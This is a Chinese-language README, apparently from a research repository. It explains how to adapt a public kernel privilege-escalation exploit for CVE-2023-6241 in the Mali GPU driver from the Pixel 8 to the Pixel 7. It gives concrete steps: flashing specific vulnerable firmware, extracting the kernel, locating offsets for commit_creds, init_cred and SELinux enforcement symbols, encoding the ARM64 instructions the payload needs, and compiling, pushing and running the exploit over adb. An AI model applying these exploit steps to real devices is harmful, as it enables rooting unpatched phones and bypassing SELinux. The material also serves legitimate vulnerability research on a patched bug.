
本仓库将说明如何将 securitylab 在其 GitHub 仓库 中发布的、适用于 Google Pixel 8 的漏洞利用程序改编为适用于 Google Pixel 7。
在开始修改该漏洞利用程序之前,我们根据与 CVE-2023-6241 相关的文章 作出了一个假设,即原始漏洞利用程序在进行必要修补后也适用于 Google Pixel 7 设备。由于这两款设备(在硬件层面)看似不同(对比),因此这一假设是必要的。
以下是用于执行分析以及提取信息或文件所使用到的工具。
以下是从头开始实现目标的整个过程。
在设备上启用开发者选项。
使用正确的安全补丁刷写设备(本例中为 UP1A.231105.003, 2023 年 11 月 至 UQ1A.240205.002, 2024 年 2 月(包括这两个版本)),建议使用 Google Chrome 和 Android 刷机工具,在 Nexus 和 Pixel 设备出厂镜像 页面中点击所需条目上的“Flash”。
注意 1:使用 Android 刷机工具刷写设备有助于解决与引导加载程序版本相关的问题。这些问题可能会在使用带有脚本的压缩文件进行刷写操作时出现,该压缩文件可通过点击 Nexus 和 Pixel 设备出厂镜像 页面中的“Link”下载。
注意 2:在刷写设备之前,请在 Android 刷机工具中勾选“Force Flash all partition”,以获得与脚本相同的刷写结果。
点击“Link”下载所需的 Android 镜像,并从主压缩文件“panther-<release>-factory-<SHA-256 前 8 个字符>.zip”内的压缩文件“image-panther.zip”中提取 boot.img 文件。
执行 ./imjtool.ELF64 boot.img extract。将创建新的文件夹“extracted”,其中包含两个文件。
执行 vmlinux-to-elf ./extracted/kernel.decompressed <filename>.elf(为便于后续引用,将 <filename>.elf 命名为 Pixel7-kernel.elf)。将创建一个以所提供名称命名的新文件。
使用 Ghidra 打开“Pixel7-kernel.elf”。无需执行自动分析,因为它会耗费大量时间,而且仍然可以提取所需信息。
打开“符号表”窗口,搜索感兴趣的字段(本例中为 avc_den|sel_read_enforce$|init_cred|^commit_creds$)。结果应类似于:
转到位址处,获取所有已搜索字段的“Imagebase Offset”(镜像基址偏移)。

根据找到的结果,在漏洞利用程序中设置所有偏移量。

通过使用在线汇编器与反汇编器分别查找操作 add x8, x8, #0xXXX 和 add x0, x0, #0xYYY 的 HEX 值,来计算 ADD_COMMIT_2311 和 ADD_INIT_2311 的值。要找到 XXX 和 YYY 的值,只需分别从 COMMIT_CREDS_2311 和 ADD_INIT_2311 中复制最低的 12 位即可(例如,如果 ADD_COMMIT_2311 是 0x17f0c8,则 add x8, x8, #0x0c8 的 HEX 代码是 0x91032108)。
请注意,这些值是以大端序表示的,因此需要对生成的字节进行反转。
从 /vendor/lib64/egl/libGLES_mali.so 复制 GLES_mali.so(即执行 adb pull /vendor/lib64/egl/libGLES_mali.so),并使用 /home/gobbo/Android/Sdk/ndk/26.1.10909125/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -g -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf 编译所有内容。
注意:仅为了版本一致性,漏洞利用程序中所使用的 OpenCL 库版本是修复该漏洞的安全补丁发布前最新的可用版本(即 2023.04.17 版本)
上传并执行漏洞利用程序
adb push ./mali_jit_csf /data/local/tmp
export LD_LIBRARY_PATH=/vendor/lib64/egl
./data/local/tmp/mali_jit_csf
更多信息可参阅开头提到的 GitHub 文章和 GitHub 仓库。